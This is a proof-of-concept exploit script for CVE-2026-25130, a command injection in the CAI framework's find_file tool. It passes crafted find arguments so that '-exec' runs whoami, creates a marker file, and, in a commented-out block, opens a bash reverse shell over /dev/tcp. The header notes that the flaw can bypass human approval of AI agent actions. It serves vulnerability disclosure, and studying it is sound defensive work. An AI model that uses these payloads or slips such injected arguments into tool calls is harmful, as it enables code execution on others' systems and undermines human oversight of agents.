📄 Cybersecurity AI (CAI) Framework 0.5.10 Command Injection

# Exploit Title: Cybersecurity AI (CAI) Framework 0.5.10 - Command Injection
    # CVE: CVE-2026-25130
    # Date: 2026-02-03
    # Exploit Author: Mohammed Idrees Banyamer
    # Author Country: Jordan
    # Instagram: @banyamer_security
    # Author GitHub: https://github.com/yourusername
    # Vendor Homepage: https://github.com/aliasrobotics/cai
    # Software Link: https://github.com/aliasrobotics/cai
    # Vulnerable Version: cai-framework <= 0.5.10
    # Tested on: cai-framework 0.5.10
    # Category: Argument Injection / OS Command Injection
    # Platform: Python
    # Exploit Type: Unauthenticated / Authenticated depending on agent context (often bypasses human approval)
    #
    
    #
    # Usage:
    #    Run the script directly (local execution )
    #    Observe command output or side effects (e.g. whoami result, created files, etc.)
    
    from cai.tools.reconnaissance.filesystem import find_file
    import sys
    
    def main():
        print("=== CVE-2026-25130 PoC - find_file Argument Injection / OS Command Injection ===")
        print("Vulnerable cai-framework <= 0.5.10")
        print("This demonstrates command execution via malicious 'args' parameter\n")
    
        # ────────────────────────────────────────────────────────────────
        # PoC 1: Simple proof – execute 'whoami' via -exec
        # ────────────────────────────────────────────────────────────────
        print("[Test 1] Executing 'whoami' via -exec")
        malicious_args = "-type f -exec whoami \\;"
    
        try:
            result = find_file(
                file_path="/tmp",               # Any readable directory
                args=malicious_args,
                ctf=None
            )
            print("[+] Command output:\n", result)
        except Exception as e:
            print("[-] Execution failed:", str(e))
    
        print("\n" + "-"*70 + "\n")
    
        # ────────────────────────────────────────────────────────────────
        # PoC 2: Touch a proof file (non-destructive marker)
        # ────────────────────────────────────────────────────────────────
        print("[Test 2] Creating marker file /tmp/CAI_CVE_2026_25130_PROOF")
        proof_args = '-type d -exec touch /tmp/CAI_CVE_2026_25130_PROOF \\;'
    
        try:
            result = find_file(
                file_path="/tmp",
                args=proof_args,
                ctf=None
            )
            print("[+] Result:\n", result)
            print("Check if file exists: ls -l /tmp/CAI_CVE_2026_25130_PROOF")
        except Exception as e:
            print("[-] Execution failed:", str(e))
    
        print("\n" + "-"*70 + "\n")
    
        # ────────────────────────────────────────────────────────────────
        # PoC 3: Dangerous example – reverse shell 
        # ────────────────────────────────────────────────────────────────
        # print("[Test 3] Reverse shell example (DO NOT RUN UNLESS IN ISOLATED LAB)")
        # rev_args = '-exec bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1" \\;'
        # find_file("/tmp", rev_args)
    
        print("\nPoC finished.")
        print("If commands executed successfully → vulnerability confirmed.")
        print("After patch (commit e22a1220) these payloads should be rejected.")
    
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print("\n[!] Stopped by user.")
        except Exception as e:
            print(f"\n[!] Unexpected error: {e}")
            sys.exit(1)